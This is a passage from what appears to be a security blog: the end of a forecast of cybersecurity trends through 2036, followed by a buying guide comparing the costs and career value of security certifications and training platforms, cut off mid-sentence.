thousands of targets. Defense centers on zero-trust, identity hygiene, and dependency scrutiny rather than perimeter walls. **Privacy and data-removal become consumer-normal (medium confidence).** As data brokers and breaches keep feeding targeted attacks, [data removal services](/best-data-removal-services) and [identity-theft protection](/best-identity-theft-protection) move from niche to mainstream, and regulation pushes companies toward data minimization. ## The long term: 2032-2036 **Plausible:** authentication is mostly passwordless and phishing-resistant; post-quantum crypto is widely deployed; AI is a standard layer in every security team's stack and every attacker's toolkit; identity (human and machine) is the central security problem; and verification of "is this real, is this who they claim" is a routine, cryptographic step rather than a judgment call. Security is more automated, more identity-centric, and, because attackers automate too, not obviously "safer." **Genuinely uncertain:** whether AI net-favors attackers or defenders over the full decade; how disruptive quantum actually becomes and when; and whether regulation meaningfully raises the baseline or just adds paperwork. Treat confident claims here skeptically. ## What will *not* happen - **AI won't make security a solved problem.** It raises the floor and the ceiling on both sides; the contest continues. - **The human won't stop being the weakest link.** Most breaches will still trace back to a tricked person, a reused credential, or an unpatched system rather than exotic exploits. - **Passwords won't vanish completely.** They will linger for years as legacy fallbacks; the win is making them no longer the primary defense. - **You won't be safe by buying one product.** Security stays a practice, and basics done consistently beat any single tool. ## The bets, with falsifiers A forecast is only honest if it says what would prove it wrong. Each bet below comes with a falsifier, the concrete outcome that would show the prediction failed, and a date to check it. If the falsifier happens, the bet was wrong, and you should trust the rest of this page less. | Bet | Falsifier (what proves it wrong) | Check by | | --- | --- | --- | | AI tilts the early edge to attackers | AI-assisted intrusion rates fall as defenders automate faster than offense | 2028 | | Passkeys become the default primary auth | Major banks, email, and platforms still enroll new users into passwords first | 2028 | | Post-quantum migration becomes real engineering work | No major protocol or certificate ecosystem ships post-quantum crypto and harvest-now-decrypt-later stays purely theoretical | 2030 | | Deepfake identity fraud goes mainstream | Voice and video impersonation stays rare in routine fraud reports rather than staged demos | 2030 | | Ransomware professionalizes into targeted extortion | Crews revert to broad file-encryption spray-and-pray and the data-extortion share falls | 2028 | | Privacy regulation tightens with enforcement teeth | Data-minimization rules stay unenforced and data-removal stays a niche service | 2034 | | The human stays the weakest link | Most major breaches trace to novel technical exploits rather than phished credentials, reused passwords, or unpatched systems | 2034 | Read the middle column first. If none of those falsifiers land by their dates, the forecast held. If several do, the trends bent in a way this page did not anticipate, and that is the useful kind of wrong: it tells you the shape of the threat changed. ## What it means for you The durable move is the same as it's always been, just more urgent: **do the boring basics, consistently.** A real [password manager](/best-password-managers) with unique passwords everywhere, phishing-resistant [hardware keys](/best-hardware-security-keys) on your critical accounts, a reputable [VPN](/best-vpn) on untrusted networks, current [antivirus/EDR](/best-antivirus), and a healthy skepticism toward anything urgent, including a familiar voice or face asking you to act fast. Those defeat the overwhelming majority of attacks, AI-powered or not. And update your mental model for the deepfake era: **verify out-of-band.** If "your CEO" calls asking for a wire, hang up and call back on a known number. The next decade's attacks are more convincing, and the defense is a habit rather than a gadget. **Related flagships:** the foundations behind all of this ([the Security Canon](/the-security-canon)) and how to actually skill up ([Best Cybersecurity Certifications & Courses](/best-cybersecurity-certifications)). ## The mechanics of the AI arms race The phrase "AI arms both sides" hides a real asymmetry worth spelling out, because it explains why the early advantage tilts toward attackers. Offense is a search problem with cheap, forgiving feedback. An attacker sends a thousand messages and needs one to land. A generated phishing lure that reads fluently, references a real project, and arrives at a plausible moment costs almost nothing to produce at scale, and every failed attempt is free. Defense is a classification problem with expensive, unforgiving feedback. A defender has to be right on nearly every message, every login, and every alert, and a single miss can be the breach. Automating a task where you only need to succeed occasionally is easier than automating a task where you must almost never fail. That asymmetry shapes the near-term reality. The first wave of AI-assisted attacks is ordinary techniques made cheaper, faster, and more polished rather than autonomous machines discovering novel exploits: phishing without the grammar tells that used to give it away, voice that sounds like a specific person, reconnaissance that reads a target's public footprint in seconds, and code that helps a mid-skill operator move faster. On the defensive side, the wins are real but quieter: triaging the flood of alerts, summarizing incidents, drafting detection logic, and surfacing the signal analysts would otherwise miss under volume. The teams that fold these into their workflow pull ahead of the ones that stay buried, and over the full decade the gap between capable and uneven defenders may matter more than any single tool. The durable defensive lesson is that AI raises the polish of attacks far more than it changes their mechanism. The message is more convincing, the pretext better researched, the timing sharper. The underlying move is still a person being persuaded to click, approve, or pay. That is why the defenses that work against ordinary phishing, phishing-resistant authentication and out-of-band verification of anything urgent, keep working against the AI-assisted version. They defend against the mechanism, and the mechanism is what stays constant. ## What the post-quantum migration actually involves "Post-quantum migration" sounds like flipping a switch, and the reason it is years of work is worth understanding. Today's public-key cryptography, the math that protects web traffic, signs software, and secures key exchange, rests on problems that a large quantum computer could solve. Standards bodies have selected replacement algorithms designed to resist that, so the algorithms exist. The hard part is everything downstream of the algorithm. Cryptography is embedded in a deep stack: protocols, libraries, certificates, hardware modules, embedded devices, and long-lived systems that nobody wants to touch. Rolling a new algorithm through all of that means updating protocol implementations, reissuing certificates, testing interoperability between old and new systems, and finding the places where a hardcoded assumption about key sizes or algorithms will break. Some of it lives in devices with long service lives and slow update cycles. An inventory of where cryptography is used, often incomplete in large organizations, is itself a significant project before any migration can start. The urgency comes from a strategy called "harvest now, decrypt later." An attacker does not need a quantum computer today to benefit from one tomorrow. They can steal encrypted data now and store it until the capability matures, then decrypt it retroactively. Any secret with a long shelf life, medical records, state secrets, intellectual property, anything that still matters in a decade, is exposed the moment it is exfiltrated, even if the decryption comes years later. That is why the migration has to begin well before quantum computers are a live threat, prioritizing long-lived secrets first. The realistic timeline is gradual and uneven, and it starts in earnest this decade for organizations that hold data worth stealing on a long horizon. ## Signals that tell you which way it is going A forecast is more useful when you can check it against reality as it unfolds. These are the concrete signals worth tracking, each tied to a prediction above. **Passkey adoption at the platforms you use.** When your bank, your email provider, and your workplace make passkeys the default enrollment path rather than an advanced option, the password's demotion is happening. The tell is defaults, since a feature buried in settings changes little and a default changes everything. **Deepfakes appearing in routine fraud rather than staged demos.** The mid-term prediction is that voice and video impersonation become standard tools in ordinary business fraud. The signal is when finance teams start reporting convincing voice or video requests, and when "verify out-of-band" becomes a written policy rather than advice. **Ransomware crews shifting to pure extortion.** The move from encrypting files to stealing and threatening to leak data, and up the supply chain toward vendors and service providers, is a sign the professionalization prediction is holding. Watch whether incidents center on data theft leverage rather than file encryption. **Regulators pushing data minimization.** The long-term privacy prediction shows up as rules that penalize holding data you do not need, and as data-removal moving from niche service to mainstream expectation. The signal is enforcement with teeth rather than paperwork. **The breach post-mortems staying boring.** The most durable prediction, that the human stays the weakest link, is confirmed every time a major incident traces back to a phished credential, a reused password, or an unpatched system rather than an exotic exploit. If post-mortems keep reading the same way they always have, the fundamentals are still deciding outcomes. ## Common misconceptions about the forecast **"AI will make security a solved problem."** It raises the floor and the ceiling on both sides at once. Defenders get faster, attackers get cheaper, and the contest continues at a higher tempo. No tool ends the game. **"Quantum computers will break encryption next year, so today's crypto is already useless."** The threat is real and worth preparing for, and it is also not imminent for most systems. The rational response is to start migrating long-lived secrets now because of harvest-now-decrypt-later, while treating breathless "encryption is dead tomorrow" claims with skepticism. **"Passwords will disappear."** They will linger for years as legacy fallbacks in older systems and edge cases. The realistic win is making them no longer the primary defense, short of eliminating them entirely. **"Buying the right product will keep me safe."** Security stays a practice. The basics done consistently, unique credentials, phishing-resistant authentication, patching, and skepticism toward urgency, beat any single purchase. A product helps only inside a habit. **"Deepfakes mean you can trust nothing."** The useful conclusion is narrower: raw audio and video stop being proof of identity on their own. The response is a verification step, calling back on a known number, confirming through a separate channel, short of abandoning trust altogether. ## What stays the same and what changes The clearest way to hold the whole forecast in mind is to separate the durable fundamentals from the shifting tooling. The mechanisms barely move. The scale, polish, and speed change enormously. | Dimension | Stays the same through 2036 | Changes through 2036 | |---|---|---| | Attack entry point | Phishing, stolen credentials, unpatched systems | Lures become flawless, personalized, and multi-channel | | The weak link | The human being persuaded to act | The persuasion gets more convincing and harder to spot | | Identity | Proving who you are remains the core problem | Passwords give way to passkeys and cryptographic identity | | Cryptography | The need to keep secrets secret | The algorithms migrate to post-quantum designs | | Defender workload | Alerts, triage, patching, response | AI absorbs volume and speeds the first pass | | Winning move | Doing the boring basics consistently | The basics get more urgent as attacks automate | Read down the left column and you have the reason a hype-resistant forecast is possible at all. The things that decide most outcomes are the things that have decided them for years. Read down the right column and you have the reason complacency is dangerous. The same attacks arrive faster, cleaner, and at greater scale, so the cost of neglecting the fundamentals rises even though the fundamentals themselves do not change. ## FAQ **Will AI make cybersecurity better or worse?** Both, and which wins depends on who automates better. AI hands attackers cheap, scalable, flawless social engineering and faster vulnerability discovery, while handing defenders faster detection and triage. In the near term offense often gains more because it is easier to automate, and well-resourced defenders close the gap. The fundamentals (patching, identity, the human) still decide most outcomes. **Are passwords going away?** Slowly, yes. Passkeys and phishing-resistant authentication are becoming the default for important accounts, and within the decade passwords become the legacy fallback rather than the primary defense. They will not vanish entirely, and relying on a password alone will look as careless as having no lock at all. Use a password manager and adopt passkeys and hardware keys now. **What is the biggest emerging cyber threat?** Two stand out: AI-scaled social engineering (perfect phishing, voice and video deepfakes that defeat "it looked real" verification) and supply-chain attacks that compromise one vendor to reach thousands. Both exploit trust as much as technology, which is why out-of-band verification and identity hygiene matter more than any single product. **What is "harvest now, decrypt later"?** It is the strategy of stealing encrypted data today and storing it until quantum computers are powerful enough to break today's encryption. It is why the migration to post-quantum cryptography is urgent *now* for anything with a long secret lifespan, because the data being exfiltrated today could be readable in a decade. **What's the single best thing I can do for my security in the next decade?** Adopt phishing-resistant authentication (a password manager plus passkeys and hardware keys) and build the habit of verifying urgent requests out-of-band. Those two cover the largest share of real-world attacks, credential theft and social engineering, far more cost-effectively than any expensive product. **Should a small business worry about quantum computing yet?** For most small businesses the immediate priorities stay the same: phishing-resistant authentication, patching, backups, and skepticism toward urgent payment requests. Quantum matters now mainly if you hold secrets that must stay confidential for a decade or more, because those are exposed to harvest-now-decrypt-later. For everyone else the practical step is to prefer vendors and platforms that are already planning their post-quantum migration, and let them carry the heavy engineering. **Will AI replace security analysts?** No, it changes what they spend time on. AI handles the volume, the first pass on alerts, log summarization, and routine triage, which frees analysts for judgment, investigation, and the decisions that need context a model does not have. The teams that adopt it well cover more ground with the same people, and the human judgment at the top of the stack stays essential. **How should I think about supply-chain and vendor risk over the next decade?** Treat it as one of the main battlegrounds. Attackers keep moving up the leverage chain, compromising a single vendor, dependency, or identity provider to reach many targets at once. The defensive posture is identity hygiene, scrutiny of the dependencies and third-party scripts you load, and an assumption that any vendor with access is part of your attack surface. Zero-trust thinking, verifying rather than assuming trust, applies to vendors as much as to users. ## Related guides - [How AI Is Actually Changing Cybersecurity](/ai-in-cybersecurity) - [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks) - [The Social Engineering Playbook](/social-engineering-playbook) - [Network Security Fundamentals: Firewalls, VPNs, and Zero Trust](/network-security-fundamentals) - [Zero-Day Vulnerabilities: What They Are and Why They Matter](/zero-day-vulnerabilities) --- # Category: bug-bounty ## Best Cybersecurity Certifications & Courses in 2026 > Security+, CISSP, OSCP, eJPT, Google Cert, TryHackMe, HTB. A skeptical, cost-vs-ROI guide to the certs worth paying for in 2026, and which are overrated. - URL: https://blog.pwnsy.com/best-cybersecurity-certifications - Date: 2026-06-19 - Updated: 2026-06-19 - Difficulty: intermediate - Category: bug-bounty - Tags: certifications, career, ethical-hacking, pentesting, buying-guide, training - Related: [Best Encrypted Cloud Storage in 2026 (Zero-Knowledge)](https://blog.pwnsy.com/best-encrypted-cloud-storage), [Best Hardware Security Keys (FIDO2) in 2026](https://blog.pwnsy.com/best-hardware-security-keys), [Best Secure & Encrypted Email Providers in 2026](https://blog.pwnsy.com/best-secure-email) ### TL;DR - Best entry-level credential: CompTIA Security+ (~$425 USD voucher), vendor-neutral, HR-recognized, and the cert that gets résumés past keyword filters. - Best offensive/pentest cert: OffSec OSCP (PEN-200, from ~$1,749), still the practical hands-on standard, though HTB's CPTS now rivals it for a fraction of the cost. - Best value learning platforms: TryHackMe (~$17/mo) for absolute beginners, Hack The Box Academy/CPTS (~$490/yr Silver, exam included) once you can stand on your own. - Best for management/leadership: ISC2 CISSP ($749 exam), but it requires 5 years of experience, a $135/yr maintenance fee, and is a policy/management exam, not a hacking one. Do not start here. - Hands-on platforms beat paper certs for practical roles. Spend on labs and skills first; buy the expensive certificate only when a job posting or your employer actually requires it. ### Key Takeaways - Certifications open doors at hiring filters and clearances; they do not make you competent. Skill comes from labs, CTFs, and real projects: the cert is the receipt. - Match the cert to the career stage: Security+/Google for entry, eJPT/CPTS/OSCP for offensive, GIAC/CISSP for blue-team depth and management. - OSCP costs roughly 8x what HTB's CPTS does for a comparable practical pentest credential. The OSCP brand premium is real in hiring filters but shrinking. - Beware total cost of ownership: exam voucher, retake fees, annual maintenance fees (CISSP $135/yr), and study materials routinely double the sticker price. - SANS/GIAC is the gold standard for depth but costs ~$8,000+ per course; treat it as employer-funded, not a self-pay decision. - The Google Cybersecurity Certificate (~$49/mo, finishable for under ~$300) is a fine on-ramp for career changers but is not a substitute for Security+ or hands-on labs. ### FAQ **Q: What is the best cybersecurity certification for beginners in 2026?** CompTIA Security+ (SY0-701) is the most widely recognized entry-level certification. The exam voucher is roughly $425 USD in the US, it is vendor-neutral, and it satisfies the US DoD 8140/8570 baseline requirement, which means it appears in countless job filters. For true beginners with no IT background, the Google Cybersecurity Certificate on Coursera (~$49/month, finishable for under ~$300) is a gentler on-ramp, but treat it as a foundation before Security+, not a replacement. **Q: Is the OSCP still worth it in 2026?** Yes for offensive roles, but with caveats. The OSCP (via OffSec's PEN-200, from about $1,749) is still the most brand-recognized hands-on pentest certification and still appears as a 'required' or 'preferred' line in many penetration-testing job postings. However, Hack The Box's CPTS now delivers a comparable, arguably harder practical exam for a fraction of the cost. If a specific employer demands OSCP, get OSCP. Otherwise CPTS is the better value. **Q: Should I get CISSP early in my career?** No. The ISC2 CISSP ($749 exam, plus a $135/yr maintenance fee) requires five years of cumulative paid full-time experience in two or more of its eight domains. You can pass the exam earlier and hold 'Associate of ISC2' status, but CISSP is a management and governance exam: it is breadth-over-depth and assumes you already work in the field. It is the wrong first certification and a poor fit for hands-on technical roles. **Q: TryHackMe or Hack The Box: which should I pay for?** Start with TryHackMe (~$17/month) if you are a beginner; its guided rooms hold your hand through concepts. Move to Hack The Box once you can work with less scaffolding, HTB Academy plus the CPTS certification (Silver plan ~$490/year with an exam voucher included, or ~$8/month for students; the standalone CPTS exam voucher is ~$210) is a stronger signal to employers and better practical training. Many people use both: THM to learn, HTB to prove it. **Q: Are cybersecurity certifications worth the money?** They are worth it when they unblock a hiring filter, a clearance, or an employer requirement: not because they teach you to hack. The certificate is a receipt for skills you should already be building in labs and CTFs. Spend on hands-on platforms first (which are cheap), and buy the expensive paper certs when a concrete door requires them. **Q: What does it really cost to get certified once retakes and fees are included?** Budget well above the sticker price. Security+ is ~$425 per attempt plus study materials, so $700, $1,000 realistic. CISSP is $749 plus a $135/year annual maintenance fee plus a possible retake, $900, $2,500 all-in. OSCP starts at $1,749 and extra exam attempts are ~$249 each. SANS/GIAC courses run ~$8,000+ (the standalone GIAC exam alone is ~$999). Always read the retake and renewal policy before you buy. **Q: Do I need a degree, or are certifications enough?** Certifications plus a demonstrable portfolio (CTF profiles, write-ups, home-lab projects, a GitHub) are enough to break into many security roles without a degree. Degrees still help with some HR filters, government roles, and management tracks, but in practical security work, what you can demonstrate in a lab beats a transcript. See our guide on how to become an ethical hacker for the non-degree path. **Q: Which certification is the most overrated?** Honestly, any cert bought before you have fundamentals. Specifically, chasing CISSP without the experience to use it, or buying OSCP before you can comfortably solve easy HTB/THM boxes, wastes money and sets you up to fail an expensive exam. The 'most overrated' is whichever one you buy to skip the work rather than to certify work you have already done. **Q: Are cybersecurity certifications still worth it in the age of AI?** Yes for the right ones, but the landscape has shifted. AI did not kill certifications; it raised the bar on what counts as proof, so employers increasingly want a credential plus demonstrated hands-on work, and they pay a premium for AI-plus-security skill combos. The fastest-growing slice is AI-security itself, where emerging options include CompTIA SecAI+ (vendor-neutral AI-security skills), Microsoft SC-500 (cloud and AI-security engineering), and the lab-based Certified AI Security Professional (CAISP) for hands-on LLM-pipeline security. Pick the one that matches your target role and back it with work you can demonstrate. There are more cybersecurity certifications than there are cybersecurity jobs, and the marketing around them is relentless. Every bootcamp, every YouTube "roadmap," and every LinkedIn influencer has a different list. Most of those lists exist to sell you something. This one is written from a hiring-and-skills perspective: which credentials actually move you forward, what they really cost once you include retakes and renewal fees, and which ones are overrated for the stage you're at. The blunt truth up front, **a certification is a receipt for skills, not a substitute for them.** Hiring managers who know what they're doing care about what you can demonstrate. The cert clears the HR filter; the lab work gets you the offer. That truth has only sharpened in the AI age. Most traditional certs haven't caught up with how AI changed what "proof" even means: a badge that says you memorized a body of knowledge is weaker evidence now that anyone can prompt a model for the same answers. Employers increasingly want a credential **plus** demonstrated hands-on work, and the candidates who pair security skills with AI fluency command a clear premium. If you want the broader, non-commercial picture of breaking into the field, read [how to become an ethical hacker](/how-to-become-ethical-hacker) and [bug bounty: getting started](/bug-bounty-getting-started) first. This guide assumes you've decided to spend money and want to spend it well. ## The verdict (read this if nothing else) - **Best entry-level credential, CompTIA Security+.** Vendor-neutral, recognized by every HR system on earth, and it satisfies the US DoD baseline. Roughly $425 for the voucher. If you can only get one cert to land a first job, this is it. - **Best offensive / pentest certification, OffSec OSCP (PEN-200).** Still the brand name in penetration testing and still the line item most often "required" in job postings. From about $1,749. But **Hack The Box's CPTS** now matches it on rigor at a fraction of the price, so read both sections before you spend. - **Best value learning platforms, TryHackMe and Hack The Box.** TryHackMe (~$17/month) to learn from zero; Hack The Box Academy + CPTS (~$490/year with the exam voucher included) to prove practical skill. These teach you more per dollar than any boxed certification. - **Best for management / leadership, ISC2 CISSP.** $749, plus five years of experience and a $135/year maintenance fee. It's a policy and governance exam, not a hacking one. Do not start your career here. ## At a glance: cost, level, and who it's for | Cert / Platform | Cost (USD, approx.) | Level | Format | Best for | | --- | --- | --- | --- | --- | | Google Cybersecurity Certificate | ~$49/mo (under ~$300 total) | Pre-entry | Self-paced video + quizzes | Total career changers | | CompTIA Security+ | ~$425 voucher | Entry | 90-min proctored, MCQ + PBQ | First job, DoD/HR filters | | INE eJPT | ~$299/yr plan (voucher included) | Entry offensive | 48-hr practical lab | First hands-on pentest cert | | TryHackMe | ~$17/mo (~$126/yr) | Beginner platform | Guided browser labs | Learning fundamentals | | HTB Academy + CPTS | ~$490/yr Silver (exam incl.) | Intermediate offensive | Multi-day practical + report | Best-value pentest cert | | OffSec OSCP (PEN-200) | from ~$1,749 | Intermediate offensive | 24-hr practical + report | Pentest brand recognition | | ISC2 CISSP | $749 (+ $135/yr AMF) | Senior / management | up to 4-hr adaptive (CAT) | Management, GRC, leadership | | SANS / GIAC (e.g., GSEC, GPEN) | ~$8,000+ per course (~$999 exam alone) | Intermediate, advanced | Course + proctored exam | Employer-funded depth | For any practical role (pentester, SOC analyst, red teamer) hands-on platforms beat paper certs. A strong Hack The Box profile or a portfolio of CTF write-ups demonstrates ability in a way a multiple-choice pass never can. Buy the cheap labs first; buy the expensive certificate only when a door actually requires it. ## Google Cybersecurity Certificate (Coursera): the on-ramp **What it is.** A self-paced Coursera professional certificate produced by Google, covering security foundations, networking basics, Linux and SQL fundamentals, SIEM tools, and an intro to Python. Roughly 170 hours of material. **What it proves.** That you've been exposed to the vocabulary and the day-one concepts of a SOC analyst role. It does *not* prove hands-on competence, and hiring managers know that. **Cost & time.** Coursera charges about **$49/month** (after a short free trial) in the US/Canada. Most people finish in three to six months, so the realistic total is **under ~$300**, often less if you push through quickly. Financial aid is available. **Honest ROI.** Decent for a true outsider (a nurse, a teacher, a warehouse worker) who needs structure and a confidence boost before committing real money. It is *not* a substitute for Security+ and it is not a fast track to a job by itself. Treat it as step zero. **Who it's for.** Career changers with no IT background who want a gentle, structured introduction. [Get the Google Cybersecurity Certificate](/ref/google-cybersecurity-cert). ## CompTIA Security+: the entry-level default **What it is.** A vendor-neutral, entry-level certification covering threats, architecture, operations, governance, and cryptography fundamentals. The current exam is **SY0-701**. **What it proves.** Broad security literacy at the level expected of a junior analyst. Crucially, it's recognized by virtually every HR system and satisfies the **US DoD 8140/8570** baseline, which means it appears as a hard requirement in a large share of government and contractor roles. **Cost & time.** The exam voucher is roughly **$425 USD** in the US (a single attempt; you can read CompTIA's official [Security+ page](https://www.comptia.org/certifications/security) for current numbers and student discounts). Each retake is another voucher. With self-study materials, budget **$700, $1,000 all-in.** Most people prepare in one to three months. **Honest ROI.** High, for what it costs. This is the cert that gets a résumé past automated filters and into a human's hands for entry-level SOC and IT-security roles. It is not exciting and it won't teach you to hack, but it's the most efficient single purchase for breaking in. **Who it's for.** Anyone targeting their first security or IT job, especially in government-adjacent organizations. ## INE eJPT: your first hands-on pentest cert **What it is.** The eLearnSecurity Junior Penetration Tester, now under INE, currently **eJPTv2**. A fully practical, beginner-friendly exam where you work a network over a **48-hour window** and answer dynamic, per-candidate flag-based questions. **What it proves.** That you can run a basic end-to-end penetration test: enumeration, exploitation, simple pivoting. It's the gentlest *practical* cert: no 24-hour pressure cooker. **Cost & time.** The eJPT requires an active INE subscription plus an exam voucher. INE's **Fundamentals Annual plan (~$299/year)** bundles the training and an eJPT (or ICCA) voucher, which is the sensible way to buy it; there's also a cheaper **eJPT + 3 months of Fundamentals bundle for ~$249** if you only want the voucher and a short ramp. The voucher is valid for 180 days and includes one free retake (use it within 14 days of the first attempt). Plan on one to three months of lab time. **Honest ROI.** Good as a confidence-builder and a first practical line on a résumé. Lighter brand weight than OSCP or CPTS, so don't expect it to close interviews on its own, but it's an excellent, affordable milestone on the way there. **Who it's for.** Aspiring pentesters who want a low-stress first practical credential. [Start with INE / eJPT](/ref/ine). ## TryHackMe: learn by doing, cheaply **What it is.** A gamified, browser-based learning platform with hundreds of guided "rooms," learning paths, and an in-browser "Attack Box" so there's nothing to install. **What it proves.** Nothing, formally: it's a learning platform, not a certification body. What it *builds* is fundamentals, and it builds them faster than reading. **Cost & time.** Premium is about **$16.99/month**, or roughly **$126/year** billed annually (cheaper still with a student discount or seasonal sales). The free tier is usable but limited. You can confirm current tiers on [TryHackMe's pricing page](https://tryhackme.com/pricing). **Honest ROI.** Outstanding for beginners. The hand-holding is the point: it carries you from "what is a port?" to working through guided exploitation. The flip side: that same scaffolding can create a false sense of competence, so graduate to less-guided platforms once concepts click. **Who it's for.** Absolute beginners and anyone shoring up fundamentals. [Try TryHackMe](/ref/tryhackme). ## Hack The Box (Academy + CPTS): the value pick for offensive **What it is.** Two things. **Hack The Box** is a hacking lab platform (vulnerable machines, CTFs). **HTB Academy** is its structured courseware, and the **CPTS (Certified Penetration Testing Specialist)** is its flagship hands-on certification: a multi-day practical exam that requires you to compromise an environment *and* write a professional report. **What it proves.** Real penetration-testing ability under realistic constraints, including the reporting that actual consultants are paid for. Many practitioners consider the CPTS exam harder and more modern than the OSCP exam. **Cost & time.** The **Silver annual plan (~$490/year)** includes Tier II Academy access and one CPTS exam voucher; the **Gold annual plan (~$1,260/year)** unlocks Tier III access with more included exam vouchers if you plan to chase multiple HTB certs. Students with an educational email can get a subscription for around **$8/month**. The CPTS attempt itself is on the order of **~$210** (taxes included) if bought separately. Check [HTB's CPTS page](https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist) for current bundles. Expect three to six months of study. **Honest ROI.** The best value in offensive certification today. For roughly an eighth of OSCP's cost you get comparable (arguably greater) practical rigor plus excellent training. The one thing it still lacks is OSCP's two-decade brand recognition in keyword-driven HR filters, but that gap is closing. **Who it's for.** Anyone serious about pentesting who can already work without much hand-holding. [Train on Hack The Box](/ref/hackthebox). ## OffSec OSCP (PEN-200): the brand-name pentest cert **What it is.** The Offensive Security Certified Professional, earned through the **PEN-200** course. The exam is a grueling **24-hour hands-on assessment** where you compromise machines for points, followed by a 24-hour reporting window. "Try Harder" is the house motto and it's not a joke. **What it proves.** That you can perform a real penetration test under serious time pressure and document it. It carries the most weight of any single offensive cert in hiring filters. **Cost & time.** The **PEN-200 + cert bundle starts at ~$1,749** (90 days of lab access, one exam attempt). The **Learn One subscription is ~$2,749/year** and includes a year of access plus two exam attempts; additional exam retakes run **~$249 each.** Confirm on OffSec's official [PEN-200 page](https://www.offsec.com/courses/pen-200/) and [pricing page](https://www.offsec.com/pricing/individual/). Most candidates spend three to six months preparing, often longer. **Honest ROI.** Still positive for offensive careers because the brand opens doors and clears filters that other certs don't. But it's expensive, the failure rate is high, and retakes hurt. If your target employer doesn't specifically demand OSCP, CPTS gives you most of the signal for a fraction of the money. **Who it's for.** Aspiring or working pentesters chasing roles that name OSCP explicitly. Get it through OffSec directly: there are no legitimate discount resellers for the brand value. Do not chase expensive certifications before you have the fundamentals. Buying OSCP before you can comfortably solve easy boxes is the classic, costly mistake: a failed exam plus a ~$249 retake plus lost weeks. And always read the total cost of ownership: voucher price, retake fees, lab-extension fees, and annual maintenance (CISSP is $135/year, every year). The sticker price is rarely the real price. ## ISC2 CISSP: for management, not for hacking **What it is.** The Certified Information Systems Security Professional: a broad, management-oriented certification across eight domains (security and risk management, asset security, architecture, communications, IAM, assessment, operations, software security). The English exam is a computerized adaptive test (CAT) of **up to 150 questions in up to four hours**: it stops early once it has enough data to score you. **What it proves.** That you understand security *governance and management* at breadth, policy, risk, architecture trade-offs. It's an inch deep and a mile wide, by design. **Cost & time.** The exam is **$749** (per ISC2's official [pricing page](https://www.isc2.org/register-for-exam/isc2-exam-pricing)). On top of that, certification requires **five years of cumulative paid experience** in two or more domains (one year is waivable with an approved degree or credential), and there's a **$135/year annual maintenance fee** (ISC2 raised it from $125). All-in, realistically **$900, $2,500** including study materials and a possible retake. You can pass first and hold **Associate of ISC2** status while you earn the experience. **Honest ROI.** Excellent, *at the right career stage.* For security managers, GRC professionals, and people moving into leadership, CISSP is the dominant credential and a frequent salary lever. For a hands-on technician or a beginner, it's the wrong tool: it won't teach you to hack and you can't even fully use it without the experience. **Who it's for.** Mid-to-senior professionals heading into management, risk, or architecture. See ISC2's [CISSP overview](https://www.isc2.org/certifications/cissp). ## SANS / GIAC: the premium tier (mind the price tag) **What it is.** SANS Institute runs the most respected technical training in the industry; **GIAC** issues the matching certifications (GSEC for essentials, GPEN for pentesting, GCIH for incident handling, and dozens more). The training is genuinely excellent and deep. **What it proves.** Serious, current, specialized depth, and the SANS brand carries real weight in mature security organizations and government. **Cost & time.** This is the catch. A SANS course plus its GIAC exam typically runs **~$8,000+** (the SANS training portion is roughly $8,780). A standalone GIAC exam attempt (what alumni pay to certify later, including two practice tests), is **~$999** for most practitioner certs (the entry-level GFACT/GISF are cheaper, and the newer GIAC "Experienced" exams run ~$1,299). These prices put SANS firmly in **employer-funded** territory. **Honest ROI.** Very high *when someone else pays.* If your employer offers a training budget (many do, $5,000, $10,000 stipends are common at large firms and contractors), SANS/GIAC is often the best thing you can spend it on. As a self-funded individual, it's hard to justify over CPTS, OSCP, or stacked CompTIA certs that deliver most of the hiring signal for a tenth of the cost. **Who it's for.** Professionals with employer funding who need deep specialization. Self-payers should look at the alternatives above first. See [GIAC's pricing](https://www.giac.org/pricing). ## A roadmap: entry to specialization You don't buy these all at once. Here's a sane sequence that doesn't waste money. 1. **Foundations (months 0-3).** If you're a total outsider, do the [Google Cybersecurity Certificate](/ref/google-cybersecurity-cert) and grind beginner rooms on [TryHackMe](/ref/tryhackme). Goal: vocabulary, comfort in a Linux shell, basic networking. Cost: under ~$150. 2. **First credential (months 2-5).** Study for and pass **CompTIA Security+**. This is the cert that gets you interviews for entry roles. Cost: ~$425 + materials. 3. **Pick a track (months 4-9).** - *Offensive:* move to [Hack The Box](/ref/hackthebox) and grab the **eJPT** via [INE](/ref/ine) as a first practical cert. Read [bug bounty: getting started](/bug-bounty-getting-started) to build a public portfolio alongside. - *Blue team / defense:* keep stacking CompTIA (CySA+) or target an employer-funded **GIAC** (GCIH, GSEC). 4. **Specialize and prove it (months 8-18).** On the offensive track, earn **CPTS** (best value) or **OSCP** (best brand) depending on your target employers. On the defensive track, deepen with SANS/GIAC if funded. 5. **Lead (years 3-5+).** Once you have the experience, **CISSP** unlocks management and senior IC tracks. Layer specialist certs (cloud, GRC) as your role demands. The throughline: **spend on cheap hands-on platforms early and continuously, and reserve the expensive certificates for the moment a specific door requires them.** A candidate with Security+, a strong Hack The Box profile, and a few public write-ups beats a candidate who collected expensive paper but can't demonstrate anything. **Related flagships:** the foundations to study ([the Security Canon](/the-security-canon)) and where the field is heading, [The Next 10 Years of Cybersecurity](/cybersecurity-next-10-years). ## AI-security certifications that have emerged The fastest-moving corner of the field is the security of AI systems themselves, prompt injection, model supply-chain risk, data poisoning, and locking down the LLM pipelines now wired into production apps. It's a genuinely well-paid niche: roles that blend security with AI engineering routinely advertise in the **$150k, $280k+** range, and the supply of people who can actually do the work is thin. A few real, genuinely-new credentials have appeared to meet that demand. The usual skepticism applies harder here than anywhere else: the value is in being able to secure a real LLM pipeline hands-on, not in the badge. - **CompTIA SecAI+.** CompTIA's entry into direct AI-security skills, aimed at validating that a security practitioner can assess and defend AI/ML systems rather than just classic infrastructure. As a vendor-neutral credential from the same body behind Security+, it's likely to carry weight in HR filters as those filters start asking for AI-security language. Useful as a recognized line item, but, like Security+, it certifies literacy, not the ability to break and harden a model deployment. - **Microsoft SC-500.** A cloud- and AI-security engineering certification in Microsoft's security track, oriented toward securing data, identities, and AI workloads in a Microsoft-centric environment. Strong signal if your target employer runs on Azure and Microsoft's security stack, which a large share of enterprises do. Like all vendor certs, its value tracks how closely your job matches the vendor's ecosystem. - **Certified AI Security Professional (CAISP).** A practical, lab-based AI-security credential: the hands-on option of the three. Its focus is the part that actually pays: securing real LLM pipelines, testing for prompt injection and data leakage, and reasoning about model supply-chain and deployment risk in a lab rather than a multiple-choice 